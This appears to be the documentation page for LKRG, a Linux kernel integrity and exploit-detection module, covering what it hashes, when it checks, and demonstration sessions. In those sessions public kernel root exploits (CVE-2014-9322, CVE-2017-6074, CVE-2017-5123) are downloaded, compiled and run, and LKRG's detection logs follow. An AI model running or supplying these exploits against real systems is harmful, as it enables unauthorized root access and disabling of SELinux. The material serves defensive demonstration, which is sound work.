LKRG

LKRG is free and Open Source project distributed primarily in source code form. You can download it and prepare custom build by yourself. However, if you would rather use a commercial product tailored for your specific operating system, please consider LKRG Pro, which is distributed primarily in the form of “native” packages for the target operating systems and in general is meant to be easier to install and use while delivering optimal performance. Additionally, you will help in development of the project (economically). LKRG Pro is available <here>.

What is LKRG?

The Linux Kernel Runtime Guard protects system by comparing hashes which are calculated from the most important kernel region / sections / structures with the internal database hashes. Additionally, special efforts have been made to individually protect all extensions of the kernel (modules). To make the project fully functional, the module should be initially loaded on a clean system – e.g. directly after installation or after booting clean system. At this moment it is possible to create a trusted database of hashes.

Aim

There are two main ideas behind the Linux Kernel Runtime Guard (LKRG):

  • Prevent unsupported modifications of the Linux kernel – it forces “rules” which need to be followed to develop extensions/extra functionalities for the Linux Operating System. These “rules” are an official Linux API which must be consumed to provide specific functionality instead of relying on unsupported modifications of running kernel (patching). Patching the kernel has direct impact on the security, system stability and performance. This project was never designed to be a perfect solution (it can be bypassed) and the weaknesses are known but the correct usage may significantly improve security, system stability and performance of the entire OS / platform.
  • [Beta version] Given that LKRG correctly prevents unauthorized modifications, we implemented beta version of Exploit Detection feature with the goal of being able to detect kernel exploitation process.


Currently, we maintain two versions of the LKRG project:

  • p_lkrg-main - light version of the LKRG project.
  • p_lkrg-experimental - Experimental version of the LKRG project which fully includes “Protected Features”. This version is more functional but it has some side effects (if tou are interested in experimental branch please read ”Protected Features” page)


Security promises (threat model) of the project

Security promises delivered by the LKRG can't be briefly summarized and need to be discussed in details. Please navigate to the following page describing the threat model of the project:


Threat model.


Guarded regions

The database contains hashes calculated from the following parts of the system:

Critical CPU/core data (currently only x86/amd64 arch is supported)

This component is very critical from the stability and security point of view for various reasons. It is very common that CPU has more than one core. Each core from each CPU must be protected separately and functions generating or checking hashes must be run on each individual core as exclusive task to guarantee nothing is changing the data in the meantime.
NOTE: component implementing this functionality is one of the most complicated in the system. Since multiple cores might be present in the system, it is possible that any random core in any random time can go offline and/or online. Whenever this situation happens, LKRG must rebuild internal database and protect the new cores’(if became online) most critical data. Additionally, entire CPU might go offline or be hot-plugged in. This is especially true on the Virtual Machines (VMs). It is not a rare situation when a new Virtual CPUs are assigned to the currently run VM. New (V)CPU might have multiple cores as well, and situation of hot-plugging (V)CPU must be correctly handled by the LKRG to be effective and provide the same functionality whenever this situation appears.
Hot-plugging (V)CPU forces to take into account another corner case scenario, when currently running system has only 1 (V)CPU with 1 core and there is plugged a new core or (V)CPU. Linux boots as UniProcessor (UP) kernel if platform has only 1 (V)CPU with only 1 core. However, as soon as additional core or (V)CPU appears, dynamic SMP boot kernel process will be launched. Newly dynamically loaded SMP kernel overwrites some UP macros, changes the assembly code of the kernel AND all loaded modules! This means entire database with hashes must be recalculated! LKRG correctly takes all of these situations into account and handles all of these corner case scenarios.
For each individual core in all (V)CPUs IPI are sent to exclusively run LKRG function which gathers and calculates critical CPU data including:

  • IDT entry point and size
  • IDT itself (as blob of memory)
  • MSR:
    • MSR_IA32_SYSENTER_CS
    • MSR_IA32_SYSENTER_ESP
    • MSR_IA32_SYSENTER_EIP
    • MSR_IA32_CR_PAT
    • MSR_IA32_APICBASE
    • MSR_EFER
    • MSR_STAR
    • MSR_LSTAR
    • MSR_CSTAR
    • MSR_SYSCALL_MASK

Additionally, LKRG keeps information about:

  • How many (V)CPUs/cores are available in the system
  • How many online (V)CPUs/cores are available in the system
  • How many offline (V)CPUs/cores are available in the system
  • How many possible (V)CPUs/cores might be in total available in the system

Entire Linux Kernel .text section

This covers almost entire Linux kernel itself, like syscall tables, all procedures, all function, all IRQ handlers, etc.

Exceptions

Linux Kernel exception table

Read only section

Entire Linux Kernel .rodata section – it should never change during the running system.

IOMMU

Optionally, this might be enabled but by default it is not taken into account. The reason behind that is that some of the memory ranges might change assignment by dynamically loaded drivers. In corner cases it is also possible that kernel itself may change it. If administrator is 100% sure what he is doing, this section might be enabled.

Modules

LKRG is trying to discover how many modules are there currently in the system and keeps tracking them. For each individual module the following information is tracked down based on the module link list:

  • Struct module pointer (a.k.a. THIS_MODULE)
  • Name
  • Pointer to the module_core
  • Size of the .text section
  • Hash from the entire .text section for that module

For each individual module the following information is tracked down based on the KOBJs:

  • Struct module pointer (a.k.a. THIS_MODULE)
  • Pointer to the ‘module_kobject’ structure
  • Entire KOBJ structure (except from list_head and kref information)
  • Name
  • Pointer to the module_core
  • Size of the .text section
  • Hash from the entire .text section for that module

Both information must match (if they exist in both places) and each of them is being tracked individually. Additionally, the following information is being tracked down:

  • Number of entries in module list
  • Number of KOBJs in specific KSET
  • Specific order of linked list in module list
  • Specific order in KSET for KOBJs

TODO

  • Hash from the internal database
  • Hash from LKRG itself
  • APIC / Local APIC
  • MADT / FADT / RSDT / ACPI
  • Call gates
  • Integrity of processes
  • Check if callbacks / notification routines point to the modules which we know and are tracking down
  • Data integrity for critical structures like:
    • proc_root
    • Critical files (like /etc/shadow, /etc/passwd, etc.)
    • TTY hooks.


When is the LKRG validation routine executed?

The function for checking the system integrity will be executed:

  • By the kernel timer interruption which generates work item and inserts it in shared WQ
  • On demand via a dedicated control command from the communication channel
  • Whenever module activity is detected
  • Whenever new (V)CPU or core activity is detected
  • On various events happened in the system. For the performance reasons each event has assigned probability that integrity routine will be fired. The following events are monitored (using notification chains):
    • CPU idle – probability 0.005%
    • CPU frequency – probability 10%
    • CPU power management – probability 10%
    • Network device – probability 1%
    • Network event – probability 5%
    • Network device IPv4 changes – probability 50%
    • Network device IPv6 changes – probability 50%
    • Task structure handing off – probability 0.01%
    • Task going out – probability 0.01%
    • Task calling do_munmap() – probability 0.005%
    • USB changes – probability 50%
    • Global AC events – probability 50%

This list is not closed and will be extended.


Exploit Detection

Based on the assumption that preventing from the unsupported modifications of the Linux kernel is correctly implemented, LKRG implements beta version of the “Exploit Detection” feature. The aim of it is to detect kernel exploitation process by detecting specific data corruption in the kernel.

Overview

Current version of the feature maintains its own task list in the system. During task creation (process or thread) critical attributes are independently tracked down, including:

  • pointer value of the 'task_struct' itself
  • pid value
  • name of the process
  • pointer value of the 'cred' structure
  • pointer value of the 'real_cred' structure
  • UID
  • GID
  • EUID
  • EGID
  • SUID
  • SGID
  • FSUID
  • FSGID
  • SECCOMP:
    • TIF_SECCOMP flag
    • SECCOMP_FILTER_FLAG_TSYNC flag
    • mode
    • filters

If any of these values during system lifetime is different in the system comparing to what was tracked down, LKRG will detect a possible exploitation attack. The following values are also tracked down but currently not used:

  • securebits
  • cap_inheritable
  • cap_permitted
  • cap_effective
  • cap_bset
  • cap_ambient
  • pointer value of the real user ID subscription
  • pointer value of the user namespace

Additionally, LKRG is guarding following SELinux variables:

  • selinux_enabled
  • selinux_enforcing

When does LKRG enforce integrity check?

Current version of the LKRG enforces integrity check every time one of the following syscalls or functionality is ever executed by any process at any time:

  • setfsgid
  • setfsuid
  • setregid
  • setreuid
  • setgid
  • setuid
  • setresgid
  • setresuid
  • setgroups
  • exit
  • fork
  • execve
  • do_init_module (covers init_module as well as finit_module)
  • delete_module
  • may_open (it is executed every time when any user wants to open any resources in the system)
  • Whenever LKRG executes integrity checking function

Checks are done for every process in the system, not just for the one which executed syscall. This list is not closed and will be evolving.

Examples

Detecting CVE-2014-9322 (BadIRET) - Fedora 20

Exploitation Window:

Successful exploitation process can be seen as follow:

If LKRG is installed, exploitation process is detected and successfully stopped:

[pi3@localhost ~]$ uname -a
Linux localhost.localdomain 3.11.10-301.fc20.x86_64 #1 SMP Thu Dec 5 14:01:17 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
[pi3@localhost ~]$ cat /etc/redhat-release
Fedora release 20 (Heisenbug)
[pi3@localhost ~]$ wget http://site.pi3.com.pl/exp/p_cve-2014-9322.tar.gz
--2017-10-28 13:49:58--  http://site.pi3.com.pl/exp/p_cve-2014-9322.tar.gz
Resolving site.pi3.com.pl (site.pi3.com.pl)... 94.23.197.80
Connecting to site.pi3.com.pl (site.pi3.com.pl)|94.23.197.80|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5448 (5.3K) [application/x-gzip]
Saving to: ‘p_cve-2014-9322.tar.gz’

100%[===================================================================================================================>] 5,448       13.8KB/s   in 0.4s

2017-10-28 13:50:07 (13.8 KB/s) - ‘p_cve-2014-9322.tar.gz’ saved [5448/5448]

[pi3@localhost ~]$ tar zxvf p_cve-2014-9322.tar.gz
p_CVE-2014-9322/
p_CVE-2014-9322/z_shell.c
p_CVE-2014-9322/db.h
p_CVE-2014-9322/README
p_CVE-2014-9322/procrop.c
p_CVE-2014-9322/setss.S
p_CVE-2014-9322/swapgs.c
[pi3@localhost ~]$ cd p_CVE-2014-9322/
[pi3@localhost p_CVE-2014-9322]$ gcc z_shell.c -o z_shell
[pi3@localhost p_CVE-2014-9322]$ cp z_shell /tmp/pi3
[pi3@localhost p_CVE-2014-9322]$ ls -al /tmp/pi3
-rwxrwxr-x 1 pi3 pi3 8764 Oct 28 13:51 /tmp/pi3
[pi3@localhost p_CVE-2014-9322]$ /tmp/pi3
sh-4.2$ id
uid=1000(pi3) gid=1000(pi3) groups=1000(pi3)
sh-4.2$ exit
exit
[pi3@localhost p_CVE-2014-9322]$ gcc -o procrop procrop.c setss.S
[pi3@localhost p_CVE-2014-9322]$ gcc -o p_write8 swapgs.c setss.S -lpthread
swapgs.c: In function ‘main’:
swapgs.c:175:29: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
               : "r"(4), "r"((int)p_to_d), "r"(1)
                             ^
[pi3@localhost p_CVE-2014-9322]$ ./procrop 1 &
[1] 20812
[pi3@localhost p_CVE-2014-9322]$
        ...::: -=[ Exploit for CVE-2014-9322 ]=- :::...
                           by Rafal 'n3rgal' Wojtczuk
                           && Adam 'pi3' Zabrocki

        [+] Using kernel target: 3.11.10-301.fc20.x86_64

[pi3@localhost p_CVE-2014-9322]$ ps aux|grep procrop
pi3       20812 39.6  0.0   4308   320 pts/2    RL   13:54   0:05 ./procrop 1
pi3       20814  0.0  0.0 112664   928 pts/2    S+   13:54   0:00 grep --color=auto procrop
[pi3@localhost p_CVE-2014-9322]$ ./p_write8 1

        ...::: -=[ Exploit for CVE-2014-9322 ]=- :::...
                           by Rafal 'n3rgal' Wojtczuk
                           && Adam 'pi3' Zabrocki

        [+] Using kernel target: 3.11.10-301.fc20.x86_64
        [+] mmap() memory in first 2GB of address space... DONE!
        [+] Preparing kernel structures... DONE! (ovbuf at 0x602140)
        [+] Creating LDT for this process... DONE!
        [+] Press enter to start fun-game...
[exploit] pthread runningAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1]+  Killed                  ./procrop 1
Segmentation fault (core dumped)
[pi3@localhost p_CVE-2014-9322]$ ls -al /tmp/pi3
-rwxrwxr-x 1 pi3 pi3 8764 Oct 28 13:51 /tmp/pi3
[pi3@localhost p_CVE-2014-9322]$ /tmp/pi3
sh-4.2$ id
uid=1000(pi3) gid=1000(pi3) groups=1000(pi3)
sh-4.2$ exit
exit
[pi3@localhost p_CVE-2014-9322]$

Detection Window:

If LKRG is installed, exploitation process is detected and successfully stopped:

[root@localhost p_lkrg-main]# tail -f /var/log/kern.log
Oct 28 13:55:07 localhost kernel: [1026127.748974] traps: p_write8[20820] general protection ip:400dd0 sp:7f018cc05f00 error:0 in p_write8[400000+2000]
Oct 28 13:55:07 localhost kernel: [1026127.772356] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different UID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.772365] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EUID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.772368] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SUID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.772370] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSUID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.772372] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different GID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.772374] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EGID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.772376] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SGID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.772378] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSGID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.772380] [p_lkrg] <Exploit Detection> Trying to kill process[procrop | 20812]!
Oct 28 13:55:07 localhost kernel: [1026127.772880] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different UID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.772885] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EUID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.772887] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SUID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.772889] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSUID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.772891] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different GID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.772893] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EGID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.772895] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SGID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.772897] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSGID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.772899] [p_lkrg] <Exploit Detection> Trying to kill process[procrop | 20819]!
Oct 28 13:55:07 localhost kernel: [1026127.773005] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different UID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.773008] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EUID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.773010] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SUID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.773012] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSUID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.773014] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different GID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.773016] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EGID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.773018] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SGID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.773020] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSGID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.773022] [p_lkrg] <Exploit Detection> Trying to kill process[procrop | 20819]!
Oct 28 13:55:07 localhost kernel: [1026127.773237] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different UID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.773244] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EUID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.773246] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SUID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.773248] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSUID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.773250] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different GID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.773252] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EGID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.773254] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SGID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.773255] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSGID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.773258] [p_lkrg] <Exploit Detection> Trying to kill process[procrop | 20819]!
Oct 28 13:55:07 localhost kernel: [1026127.793696] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different UID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.793706] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EUID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.793709] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SUID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.793711] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSUID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.793713] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different GID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.793715] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EGID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.793717] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SGID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.793719] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSGID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.793721] [p_lkrg] <Exploit Detection> Trying to kill process[procrop | 20821]!
Oct 28 13:55:07 localhost kernel: [1026127.802655] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different UID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.802665] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EUID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.802668] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SUID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.802670] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSUID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.802672] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different GID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.802675] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different EGID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.802677] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different SGID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.802679] [p_lkrg] <Exploit Detection> process[20812 | procrop] has different FSGID! [1000 vs 0 :(
Oct 28 13:55:07 localhost kernel: [1026127.802681] [p_lkrg] <Exploit Detection> Trying to kill process[procrop | 20812]!

Detecting CVE-2017-6074 - Ubuntu 16.04

Exploitation Window:

Successful exploitation process can be seen as follow:

If LKRG is installed, exploitation process is detected and successfully stopped:

login as: pi3
pi3@10.82.126.31's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-62-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

111 packages can be updated.
33 updates are security updates.


Last login: Sat Oct 28 14:03:29 2017 from 10.82.128.183
pi3@pi3-ubuntu:~$ uname -a
Linux pi3-ubuntu 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
pi3@pi3-ubuntu:~$ cat /etc/debian_version
stretch/sid
pi3@pi3-ubuntu:~$ wget https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-6074/poc.c
--2017-10-28 14:05:40--  https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-6074/poc.c
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.52.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.52.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15767 (15K) [text/plain]
Saving to: ‘poc.c’

poc.c                                   100%[============================================================================>]  15.40K  --.-KB/s    in 0.03s

2017-10-28 14:05:40 (591 KB/s) - ‘poc.c’ saved [15767/15767]

pi3@pi3-ubuntu:~$ gcc poc.c -o poc
pi3@pi3-ubuntu:~$ ./poc
[.] namespace sandbox setup successfully
[.] disabling SMEP & SMAP
[.] scheduling 0xffffffff81064550(0x406e0)
[.] waiting for the timer to execute
[.] done
[.] SMEP & SMAP should be off now
[.] getting root
[.] executing 0x402043
[.] done
[.] should be root now
[.] checking if we got root
Killed
pi3@pi3-ubuntu:~$ 

Detection Window:

If LKRG is installed, exploitation process is detected and successfully stopped:

[root@localhost p_lkrg-main]# tail -f /var/log/kern.log
Oct 28 14:07:54 pi3-ubuntu kernel: [   48.745210] DCCP: Activated CCID 2 (TCP-like)
Oct 28 14:07:54 pi3-ubuntu kernel: [   48.762206] dccp_sample_rtt: unusable RTT sample 0, using min
Oct 28 14:07:54 pi3-ubuntu kernel: [   48.762241] dccp_sample_rtt: unusable RTT sample 0, using min
Oct 28 14:07:54 pi3-ubuntu kernel: [   48.762272] dccp_sample_rtt: unusable RTT sample 0, using min
Oct 28 14:07:54 pi3-ubuntu kernel: [   48.762537] dccp_sample_rtt: unusable RTT sample 0, using min
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.715824] hv_balloon: Received INFO_TYPE_MAX_PAGE_CNT
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.715850] hv_balloon: Data Size is 8
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.832514] dccp_sample_rtt: unusable RTT sample 0, using min
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.832786] dccp_sample_rtt: unusable RTT sample 0, using min
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.832800] dccp_sample_rtt: unusable RTT sample 0, using min
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.832916] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[1371 | poc] has different 'cred' pointer [0xffff880076074900 vs 0xffff88007602c300] :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.832956] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[1371 | poc] has different 'real_cred' pointer [0xffff880076074900 vs 0xffff88007602c300] :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.832990] [p_lkrg] <Exploit Detection> process[1371 | poc] has different UID! [1000 vs 0 :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833011] [p_lkrg] <Exploit Detection> process[1371 | poc] has different EUID! [1000 vs 0 :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833034] [p_lkrg] <Exploit Detection> process[1371 | poc] has different SUID! [1000 vs 0 :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833056] [p_lkrg] <Exploit Detection> process[1371 | poc] has different FSUID! [1000 vs 0 :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833083] [p_lkrg] <Exploit Detection> process[1371 | poc] has different GID! [1000 vs 0 :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833103] [p_lkrg] <Exploit Detection> process[1371 | poc] has different EGID! [1000 vs 0 :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833125] [p_lkrg] <Exploit Detection> process[1371 | poc] has different SGID! [1000 vs 0 :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833147] [p_lkrg] <Exploit Detection> process[1371 | poc] has different FSGID! [1000 vs 0 :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833167] [p_lkrg] <Exploit Detection> Trying to kill process[poc | 1371]!
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833223] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[1371 | poc] has different 'cred' pointer [0xffff880076074900 vs 0xffff88007602c300] :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833257] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[1371 | poc] has different 'real_cred' pointer [0xffff880076074900 vs 0xffff88007602c300] :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833289] [p_lkrg] <Exploit Detection> process[1371 | poc] has different UID! [1000 vs 0 :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833308] [p_lkrg] <Exploit Detection> process[1371 | poc] has different EUID! [1000 vs 0 :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833327] [p_lkrg] <Exploit Detection> process[1371 | poc] has different SUID! [1000 vs 0 :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833345] [p_lkrg] <Exploit Detection> process[1371 | poc] has different FSUID! [1000 vs 0 :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833364] [p_lkrg] <Exploit Detection> process[1371 | poc] has different GID! [1000 vs 0 :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833383] [p_lkrg] <Exploit Detection> process[1371 | poc] has different EGID! [1000 vs 0 :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833401] [p_lkrg] <Exploit Detection> process[1371 | poc] has different SGID! [1000 vs 0 :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833420] [p_lkrg] <Exploit Detection> process[1371 | poc] has different FSGID! [1000 vs 0 :(
Oct 28 14:07:55 pi3-ubuntu kernel: [   49.833439] [p_lkrg] <Exploit Detection> Trying to kill process[poc | 1371]!

Guarding SELinux against CVE-2017-5123 - Ubuntu 16.04

Exploitation Window:

Successful exploitation process can be seen as follow:

login as: pi3
pi3@192.168.1.30's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-12-generic x86_64)

* Documentation:  https://help.ubuntu.com
* Management:     https://landscape.canonical.com
* Support:        https://ubuntu.com/advantage

143 packages can be updated.
60 updates are security updates.

Unable to get valid context for pi3
Last login: Mon Dec 18 21:43:14 2017 from 192.168.1.16
pi3@pi3-ubuntu:~$ cd selinux/
pi3@pi3-ubuntu:~/selinux$ wget http://www.openwall.com/lists/oss-security/2017/10/25/2/1
--2017-12-18 21:38:55--  http://www.openwall.com/lists/oss-security/2017/10/25/2/1
Resolving www.openwall.com (www.openwall.com)... 195.42.179.202
Connecting to www.openwall.com (www.openwall.com)|195.42.179.202|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2943 (2.9K) [text/plain]
Saving to: ‘1’

1                                       100%[============================================================================>]   2.87K  --.-KB/s    in 0s

2017-12-18 21:38:55 (585 MB/s) - ‘1’ saved [2943/2943]

pi3@pi3-ubuntu:~/selinux$ mv 1 selinux.c
pi3@pi3-ubuntu:~/selinux$ # Need to fix some offsets and code a bit to not crash the kernel ;p
pi3@pi3-ubuntu:~/selinux$ mcedit -d selinux.c
pi3@pi3-ubuntu:~/selinux$ gcc selinux.c -o selinux
pi3@pi3-ubuntu:~/selinux$ ./selinux
[+] Leak size=144 bytes
[+] Got kernel base: 0xffffffffa9a00000
[+] Got selinux_enforcing: 0xffffffffaaed1394
[+] Got selinux_enabled: 0xffffffffaaed1390
[+] Overwriting selinux_enforcing...
[+] Overwriting selinux_enabled...
[+] SELinux disabled!
pi3@pi3-ubuntu:~/selinux$

Detection Window:

If LKRG is installed, exploitation process is detected and successfully revert SELinux modifications:

[root@localhost p_lkrg-main]# tail -f /var/log/kern.log
Dec 18 22:07:20 pi3-ubuntu kernel: [   35.473917] p_lkrg: loading out-of-tree module taints kernel.
Dec 18 22:07:20 pi3-ubuntu kernel: [   35.473975] p_lkrg: module verification failed: signature and/or required key missing - tainting kernel
Dec 18 22:07:33 pi3-ubuntu kernel: [   47.934117] kauditd_printk_skb: 2 callbacks suppressed
Dec 18 22:07:33 pi3-ubuntu kernel: [   47.934119] audit: type=1107 audit(1513663653.021:31): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:kernel_t:s0 msg='Unknown permission start for class system exe="/lib/systemd/systemd" sauid=0 hostname=? addr=? terminal=?'
Dec 18 22:07:33 pi3-ubuntu kernel: [   47.935801] audit: type=1107 audit(1513663653.022:32): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:kernel_t:s0 msg='Unknown permission start for class system exe="/lib/systemd/systemd" sauid=0 hostname=? addr=? terminal=?'
Dec 18 22:07:36 pi3-ubuntu kernel: [   51.372606] hv_balloon: INFO_TYPE_MAX_PAGE_CNT = 268435456
Dec 18 22:07:37 pi3-ubuntu kernel: [   52.257140] [p_lkrg] <Exploit Detection> Detected data corruption against SELINUX! 'selinux_enabled' has different value [0 vs 1] than expected. Original value will be restored!
Dec 18 22:07:38 pi3-ubuntu kernel: [   53.257408] [p_lkrg] <Exploit Detection> Detected data corruption against SELINUX! 'selinux_enabled' has different value [0 vs 1] than expected. Original value will be restored!

SECCOMP sandbox escape (Google's sandbox) via CVE-2017-5123 - Ubuntu 16.04

Exploit Write-up: https://salls.github.io/Linux-Kernel-CVE-2017-5123/

Exploit Code: https://raw.githubusercontent.com/salls/kernel-exploits/master/CVE-2017-5123/exploit_no_smap.c

Google's SECCOMP filter: https://github.com/salls/kernel-exploits/raw/master/CVE-2017-5123/chrome_seccomp_filter


